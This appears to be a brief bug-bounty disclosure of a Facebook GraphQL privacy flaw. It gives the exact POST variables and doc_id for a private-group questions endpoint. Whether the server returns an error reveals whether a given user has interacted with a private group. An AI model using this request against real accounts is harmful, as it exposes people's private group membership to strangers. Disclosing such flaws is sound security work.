Published On: 27 Dec 2022
I've discovered a bug that allows a non-member to determine if a specific user has interacted with a private group.
This interaction could indicate that the user has visited, is currently a member, or was previously a private group member.
Step
1
Send a POST request to graph.facebook.com/graphql with modified parameters for the group_id and user_id to check for group interaction.
variables= {"params":{"nt_context":{"using_white_navbar":true,"pixel_ratio":3,"styles_id":"0","bloks_version":"0"},"path":"groups/group_questions/","params":"{\"group_id\":0000,\"user_ID\":0000}","extra_client_data":{}},"scale":"3","nt_context":{"using_white_navbar":true,"pixel_ratio":3}}
doc_id=5055248221176502
Step
2
If the user has not interacted with the group, a return error message will be displayed on the response.
{"data":{"native_template_screen":null},"errors":[{"message":"A server error field_exception occured. Check server logs for details."
Step
3
However, if the user has previously interacted with the group, there will be no errors.